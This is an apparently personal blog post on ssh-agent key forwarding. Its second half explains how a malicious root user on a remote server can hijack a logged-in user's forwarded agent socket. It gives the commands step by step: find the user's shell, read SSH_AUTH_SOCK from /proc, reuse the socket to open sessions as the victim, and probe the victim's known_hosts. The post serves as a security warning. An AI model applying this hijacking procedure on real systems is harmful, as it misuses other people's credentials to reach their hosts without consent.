Published: 8. 11. 2018   Category: GNU/Linux

Using and abusing of SSH agent

The ssh-agent is a daemon running in your login session and keeping used SSH private keys in memory. It can also forward these keys to your remote session and when you want to want login to other nodes (without the necessity of copying private keys further).

Forwarding of SSH keys must be allowed on a server in /etc/ssh/sshd_config with  AllowAgentForwarding yes. Automatic key forwarding will not work when host fingerprint is different in authorized hosts, even if StrictHostKeyChecking=no is set.

Apart from key forwarding, ssh-agent may be also handy if you are using keys generated with a passphrase. You can add a key with a timeout and during that period, all SSH sessions will be opened in your current shell without passphrase asking. So, set 8 hours on the morning after arrival in your office, ssh will not bother you with asking for the password all day!

SSH agent session

  1. Add your keys to the agent:
    $ ssh-add ~/.ssh/id_rsa # add new key
    $ ssh-add -l # list current keys
    
    # Do not ask for the passphrase for the specified timeout (here 8h):
    $ ssh-add -t8h ~/.ssh/id_rsa
    
  2. SSH to the server with: ssh -A. Option -A will enable the agent to be forwarded, it can be also enabled in ssh config as the parameter: ForwardAgent yes.
  3. Once in remote session, to check if ssh-agent socket exists (SSH_AUTH_SOCK envvar is enabled):
    $ set | grep SSH
    SSH_AUTH_SOCK=tmp/ssh-Sc4EeqgAyi/agent.7132
    SSH_CLIENT='192.0.0.250 39026 22'
    SSH_CONNECTION='192.0.0.250 = 39026 172.30.0.58 22'
    SSH_TTY=3D/dev/pts/0
    
  4. Then just simple ssh to the next host and ssh-agent will automatically provide forwarded keys. When ssh -A is used again, it will continue forward keys to your next session:
    ssh -A username@some-other-host

Note: Drawback of ssh-agent forwarding is the situation when the root of a remote server will use your ssh-agent socket and will abuse provided keys to access your hosts. How to steal somebody's ssh-agent socket is described in the next section.

How can evil root abuse your ssh-agent?

Socket for the ssh-agent is accessible in /tmp directory, it is some random directory with ssh in name followed by a random string. We know that the SSH_AUTH_SOCK variable is available in a user's environment.

So with command who you can check who is logged in:

# who
bruxy     pts/1        2018-11-07 18:05 (172.31.88.250)
evilroot  pts/0        2018-11-07 18:05 (172.31.88.13)

Then check processes opened by user bruxy and aim for the process ID (PID) of the shell, where all environment variables are set:

# ps xau | grep bruxy
...
bruxy    17340  0.0  0.1  21536  5172 pts/0    Ss   18:05   0:00 -bash
...

The first PID (17340) is the id of current bash process, check environment:

# tr '\0' '\n' < /proc/17340/environ | grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-uSU1Oq9ek5/agent.17339

Now, just use this value in your shell:

# SSH_AUTH_SOCK=/tmp/ssh-uSU1Oq9ek5/agent.17339 ssh-add -l
...list of bruxy's keys
# SSH_AUTH_SOCK=/tmp/ssh-uSU1Oq9ek5/agent.17339 ssh bruxy@server.hostname
...session opened :)

You can check list of host used by bruxy in his home directory: cat ~bruxy/.ssh/known_hosts

However, newer systems may have host values in know hosts file hashed (when there is enabled HashKnownHosts yes in /etc/ssh/ssh_config). So evil root will see just this:

|1|mIaq3/n241yFq4keww09iJhLD0E=|QvRI9OnEoKg6KZPe5WzcmKGI520= ecdsa-sha2-nistp256 AAAAE2VjZHNhL...

Instead of this:

regnet.cz ecdsa-sha2-nistp256 AAAAE2VjZHNhL...

Evil root can still check opened network/SSH connections or check with ssh-keygen -F hostname, if that hostname is present in user's known_hosts:

# ssh-keygen -F regnet.cz -f ~bruxy/.ssh/known_hosts
# Host regnet.cz found: line 6 
|1|mIaq3/n241yFq4keww09iJhLD0E=|QvRI9OnEoKg6KZPe5WzcmKGI520= ecdsa-sha2-nistp256 AAAAE2VjZHNhL...

Pay attention when using servers owned by BOFH!